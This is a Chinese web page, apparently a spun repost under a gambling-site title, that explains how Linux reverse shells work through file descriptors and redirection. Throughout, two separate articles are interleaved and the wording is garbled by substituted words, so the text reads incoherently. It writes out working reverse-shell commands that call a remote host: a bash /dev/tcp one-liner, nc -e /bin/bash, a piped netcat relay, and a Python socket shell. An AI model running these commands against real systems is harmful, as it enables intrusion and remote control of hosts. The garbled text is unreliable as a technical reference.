澳门威斯尼人平台登录Linux渗透之反弹Shell命令分析,关于Linux的反弹shell命令的解析

前言


前几日在看spark stream的sample样例的时候来看linux的万金油命令nc。寻觅相关的原委倏然开采叁个很风趣的用处正是反弹shell.上面我们就来说讲反弹shell

在领会重定向从前,大家先来拜望linux 的文书呈报符。

当大家在渗透Linux主机时,反弹二个相互的shell是老大有要求的。在查找引擎上寻找关键字“Linux 反弹shell”,会合世一大堆相关文章,但是其剧情不止相同,并且都只是是报告大家实行那一个命令就足以反弹shell了,却未曾后生可畏篇小说介绍这么些命令终归是哪些得以达成反弹shell的。既然大腕们无心科普,那笔者就一定要本人入手了。本文就来探究一下相关命令实现的准绳。

1. 怎么着是反弹shell

linux文件呈报符:可知为linux追踪张开文件,而分红的二个数字,那么些数字有一些相符c语言操作文件时候的句柄,通过句柄就足以兑现公文的读写操作。 客商可以自定义文件陈说符范围是:3-num,这些最大数字,跟顾客的:ulimit –n 定义数字有关系,不可能超过最大值。

 

简轻巧单的话正是A主机能够因而实施B主机上的一声令下并且把重回值都回来到A上。

 

Bash

2. 反弹shell的用途

linux运行后,会暗许展开3个文本描述符,分别是:标准输入standard input 0,精确输出standard output 1,错误输出:error output 2


其一反弹shell超越二分之生机勃勃用项是用来凌犯外人的主机。正是因为以为超棒的指南,所以才来研商这个人

尔后展开文件后。新添文件绑定描述符 能够依次增加。 一条shell命令试行,都会接二连三父进程的文本呈报符。由此,全体运维的shell命令,都会有默许3个文本陈说符。

那篇小说的导火线正是网络给的Bash反弹shell的落到实处:

3. 反弹shell操作步骤

 

bash -i >& /dev/tcp/10.0.0.1/8080 0>&1

3.1. 在本机开启端口9090

对于其它一条linux 命令实施,它会是那般八个历程:

来看那短小生机勃勃行代码,正在复习Linux,自己认为优质的本身当即充满了挫败感,那都以些什么鬼。于是决定必定要搞通晓它。

nc -lk 9090 

 

第朝气蓬勃,bash -i是开荒贰个互相的bash,这几个最简单易行。大家先跳过“>&”和“0>&1”,那多个是本文入眼,等会再说。先来讲“/dev/tcp/”。

3.2. 在要求被调控的机械上实施如下二种命令中的豆蔻梢头种就能够

澳门威斯尼人平台登录 1

 /dev/tcp/是Linux中的叁个不相同平常配备,张开这么些文件就一定于发生了三个socket调用,创设三个socket连接,读写那么些文件就一定于在此个socket连接中传输数据。同理,Linux中还留存/dev/udp/。

bash -i >& /dev/tcp/10.0.0.1/9090 0>&1 

 

要想领会“>&”和“0>&1”,首先大家要先精晓一下Linux文件陈说符和重定向。

3.3. 在本机刚才推行nc -lk 9090命令行上面输入供给被垄断的主机的吩咐就能够

三个发令实行了:

linux shell下常用的文件陈诉符是:

澳门威斯尼人平台登录 2

先有贰个输入:输入能够从键盘,也得以从文件获得

1.  正经输入   (stdin卡塔尔国 :代码为 0 ,使用 < 或 << ; 

4. 原理

指令施行到位:成功了,会把成功结果输出到显示器:standard output私下认可是荧屏

2.  标准输出   (stdoutState of Qatar:代码为 1 ,使用 > 或 >> ; 

  1. A主机开启9090端口的tcp服务
  2. B主机连接到A主机的9090的tcp服务
  3. A主机通过tcp服务把命令发到B主机
  4. B主机读取命令并且在bash中举办
  5. B主机把实行结果发给A主机

指令实行有不当:会把错误也出口到显示屏方面:standard error默许也是指的荧屏

3.  标准错误输出(stderr卡塔尔:代码为 2 ,使用 2> 或 2>>。

如此那般就可以在A主机中'耻笑'B主机了

 

重重资料都会告知我们,2>&1是将标准错误输出合併到职业输出中,不过那七个记号具体要怎么晓得呢?小编刚开端一贯将2>看做标准错误输出,将&看做and,将1看做标准输出。这样敞亮好像也挺对,但是倘要是这般的话0>&1又该怎么知道吧?

上面珍视来了

文本输入输出由追踪为一个加以的进程具备展开文件的整数句柄来成功。那一个数字值正是文本叙述符。最为人们所知的文本米描述符是 stdinstdout 和 stderr,文件陈述符的数字分别是0,1和2。这几个数字和个其他设施是保留的。三个下令试行前,先会策动好全数输入输出,默许分别绑定(stdin,stdout,stderr卡塔尔,假如那时候出现错误,命令将甘休,不会实践。命令深入分析过程,能够参照:Linux Shell 通配符、元字符、转义符使用实例介绍

实则&根本就不是and的意趣,学过C/C++的都掌握,在此两门语言里,&是取地址符。在这里间,大家也足以将它明白为取地址符。

咱俩看那个操作实际照旧蛮轻巧的,然而大家不可能只局限于外部。大家需求去探听它的原理

 

好了,基本知识说完了,下边大家就根究一下劳神了本人一天的“>&”究竟是怎么着看头。首先,小编在查资料的长河中就算未有查到“>&”究竟是什么样,可是有二个跟它长得很像的号子却被自个儿发觉了,那就是“&>”,它和“2>&1”是叁个意思,都以将正式错误输出归总到正规输出中。难道“>&”和“&>”之间有如何不为人知的贸易?让大家来入手测量检验一下。

实则nc -lk 9090发令没什么可说的,百度google风流洒脱搜就出来了。大家今日要去解释的是bash -i >& /dev/tcp/10.0.0.1/9090 0>&1。那条命令在google也没搜出来怎样结果。所以只能自身加夜班搞了。

这个私下认可的输出,输入都是linux系统钦点的,大家在接受进程中,一时候并不愿意施行结果输出到显示屏。小编想出口到文件或任何设备。这时候我们就必要进行输出重定向了。

澳门威斯尼人平台登录 3

inux shell下常用的文书呈报符是:

 

从图纸中大家得以看出,在那处">&"和“&>”功用是同样的,都以将业内错误输出定向到正规输出中。

  1. 正式输入 (stdinState of Qatar :代码为 0 ,使用 < 或 << ;
  2. 行业内部输出 (stdoutState of Qatar:代码为 1 ,使用 > 或 >> ;
  3. 标准错误输出(stderr卡塔尔(قطر‎:代码为 2 ,使用 2> 或 2>>。

linux shell下常用输入输出操作符是:

既然,那么大家就把他们交换试试看,终究结果一非常的小器晚成致。

率先大家把那些命令拆解一下

1.  正经输入   (stdinState of Qatar :代码为 0 ,使用 < 或 << ; /dev/stdin -> /proc/self/fd/0   0代表:/dev/stdin 
2.  正规输出   (stdoutState of Qatar:代码为 1 ,使用 > 或 >> ; /dev/stdout -> /proc/self/fd/1  1代表:/dev/stdout
3.  行业内部错误输出(stderrState of Qatar:代码为 2 ,使用 2> 或 2>> ; /dev/stderr -> /proc/self/fd/2 2代表:/dev/stderr

自己在设想机里实践

bash -i # 这个也不知道说啥  >& # 这条命令 其实就是把stderr也输入到 stdout。它相当于 `> xxx 2>&1`  /dev/tcp/10.0.0.1/9090 # 这个就是连接到10.0.0.1的9090端口  0>&1 # 这个在google百度上查了半天也没搞懂,只能去研究文档  

 

bash -i >& /dev/tcp/10.0.42.1/1234

实际上后面3个指令组合在协作很好理解,便是把那一个bash下的保有出口都发送到 10.0.0.1:9090。那个大家能够自个儿操作一下,去掉前边的 0>&1。

 

结果如下图所示,固然施命发号和结果都在本人本机上突显出来了,但骨子里命令并非在本机上输入的,而是只可以在虚构机里面输入,然后命令和结果都在自家本机上显得。

我们在指令里面写 2>&1都很好精晓,就是把error重定向到stdout。可是0>&1好像不太好驾驭,我们看下文件陈诉符

 

澳门威斯尼人平台登录 4

澳门威斯尼人平台登录 5

 

澳门威斯尼人平台登录 6

这里看看的是2>&1正是把文件陈述符2对应的配备改成了文本汇报符1对应的配备。那么同理 0>&1正是把 0对应的设施改成的1对应的设施,那也正是socket。那就标记了 stdin便是从socket中读取数据,然后再试行命令,把bash的命令行重回内容通过stdout发到socket。

#显示当前目录文件 test.sh test1.sh test1.sh实际不存在
[chengmo@centos5 shell]$ ls test.sh test1.sh
ls: test1.sh: 没有这个文件和目录
test.sh

#正确输出与错误输出都显示在屏幕了,现在需要把正确输出写入suc.txt
# 1>可以省略,不写,默认所至标准输出
[chengmo@centos5 shell]$ ls test.sh test1.sh 1>suc.txt
ls: test1.sh: 没有这个文件和目录
[chengmo@centos5 shell]$ cat suc.txt
test.sh

#把错误输出,不输出到屏幕,输出到err.txt
[chengmo@centos5 shell]$ ls test.sh test1.sh 1>suc.txt 2>err.txt
[chengmo@centos5 shell]$ cat suc.txt err.txt
test.sh
ls: test1.sh: 没有这个文件和目录
#继续追加把输出写入suc.txt err.txt  “>>”追加操作符
[chengmo@centos5 shell]$ ls test.sh test1.sh 1>>suc.txt 2>>err.txt

#将错误输出信息关闭掉
[chengmo@centos5 shell]$ ls test.sh test1.sh 2>&-
test.sh
[chengmo@centos5 shell]$ ls test.sh test1.sh 2>/dev/null
test.sh
#&[n] 代表是已经存在的文件描述符,&1 代表输出 &2代表错误输出 &-代表关闭与它绑定的描述符
#/dev/null 这个设备,是linux 中黑洞设备,什么信息只要输出给这个设备,都会给吃掉

#关闭所有输出
[chengmo@centos5 shell]$ ls test.sh test1.sh  1>&- 2>&-
#关闭 1 ,2 文件描述符
[chengmo@centos5 shell]$ ls test.sh test1.sh  2>/dev/null 1>/dev/null
#将1,2 输出转发给/dev/null设备
[chengmo@centos5 shell]$ ls test.sh test1.sh >/dev/null 2>&1
#将错误输出2 绑定给 正确输出 1,然后将 正确输出 发送给 /dev/null设备  这种常用
<p>[chengmo@centos5 shell]$ ls test.sh test1.sh &>/dev/null
#& 代表标准输出 ,错误输出 将所有标准输出与错误输出 输入到/dev/null文件
</p>

我们再推行

实则这一个剧情都得以在bash的man pages里面找到

 

bash -i &> /dev/tcp/10.42.0.1/1234

澳门威斯尼人平台登录 7

&>/dev/null 等价于 >/dev/null 2>&1

注意:

1、shell碰着”>”操作符,会决断右侧文件是还是不是存在,假使存在就先删除,而且创造新文件。荒诞不经直接创设。 无论侧边命令实践是或不是中标。左边文件都会变为空。

2、“>>”操作符,推断右侧文件,假如不设有,先创建。以增加格局打开文件,会分配三个文书呈报符[不特意钦赐,默以为1,2]接下来,与侧边的专门的学业输出(1)或不当输出(2) 绑定。

3、当命令:施行完,绑定文件的描述符也自行失效。0,1,2又会没事。

4、一条命令运营,命令的输入,正确输出,错误输出,私下认可分别绑定0,1,2文件描述符。

5、一条命令在奉行前,先会检查输出是不是科学,如若输出设备错误,将不会开展指令试行

 

效果与利益是同等的,就不上海体育场面了。所以由实行可以预知,“>&”和我们广阔的“&>”是三个乐趣,都以将标准错误输出重定向到标注输出。

文书档案里面写的很清楚 n<&word 是吧word复制给n, n>&word是吧word复制给n。

好了,一个难点已经清除,下多个正是“0>&1”。大家都知道,标准输入相应是“0<”并不是“0>”,难道那个跟上三个难点样都以同五个命令的两样写法?让我们试一下“0<&1”,看看会发出什么。

据此这里写 0<&1 恐怕是 0>&1都以足以的,只要把文件呈报符1对应的设施复制给文件汇报符0就足以了

澳门威斯尼人平台登录 8

仿效小说

澳门威斯尼人平台登录 9

【编辑推荐】

在上海教室中大家收获了二个互相的shell。果然是如此!“0>&1”和“0<&1”是叁个意思,都以将行业内部输入重定向到正规输出中。使用

bash -i &> /dev/tcp/10.42.0.1 0<&1

相像能反弹二个可互相的shell。

综上说述,那句三令五申的意趣正是,创造二个可相互的bash和八个到10.42.0.1:1234的TCP链接,然后将bash的输入输出错误都重定向到在10.42.0.1:1234监听的进度。

 

NetCat


万一指标主机帮衬“-e”选项的话,我们就足以平昔用

nc -e /bin/bash 10.42.0.1 1234

但当不帮忙时,我们就要用到Linux美妙的管道了。大家得以在团结机器上监听五个端口,

nc -l -p 1234 -vv
nc -l -p 4321 -vv

下一场在对象主机上施行以下命令:

nc  10.42.0.1 1234  |  /bin/bash  |  nc 10.42.0.1 4321

那儿大家就能够在1234端口输入指令,在4321端口查看命令的出口了。

管道“|”能够将上三个发令的出口作为下一个限令的输入。所以地点命令的情致正是将10.42.0.1:1234传过来的通令交给/bin/bash试行,再将推行结果传给10.42.0.1:4321来得。

 

Python


python -c 
import socket,subprocess,os;
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);
s.connect(("10.42.0.1",1234));
os.dup2(s.fileno(),0);
os.dup2(s.fileno(),1); 
os.dup2(s.fileno(),2);
p=subprocess.call(["/bin/bash","-i"]);'

python -c表示试行前面包车型地铁代码。首先引进了七个库socket,subprocess,os,那四个库前面都要选用,然后创造了八个用到TCP的socket,接着实行connect函数连接到骇客主机所监听的端口。接着推行os库的dup2函数来進展重定向。dup2传入七个公文描述符,fd1和fd2(fd1是必须存在的),假如fd2存在,就停业fd2,然后将fd1代表的十分文件强行复制给fd2,fd2这一个文件汇报符不会爆发变化,然则fd2指向的公文就改为了fd1指向的公文。 那几个函数最大的成效是重定向。几个dup2函数前后相继将socket重定向到正式输入,标准输入,规范错误输出。最终创立了叁个子经过,传入参数“-i”使bash以相互情势运维。那时我们的输入输出都会被重定向到socket,黑客就足以实践命令了。

澳门威斯尼人平台登录 10

澳门威斯尼人平台登录 11

作者们得以看见成功的弹回了三个shell。

 

总结


在对消息安全的就学中,大家要时时保持好奇心,多问为什么,要多去商量根本规律,而不是只会利用工具和照本宣科,境遇不会又搜不到答案的主题素材,大家要大胆推断,小心求证,只有这么大家才财富源的迈入,在音信安全的园地越走越远。

 

 学习资料推荐>>>>>> 

  Linux安全底子

Linux运维根基

 

本文由澳门威斯尼人平台登录发布于 操作系统,转载请注明出处:澳门威斯尼人平台登录Linux渗透之反弹Shell命令分析,关于Linux的反弹shell命令的解析

相关阅读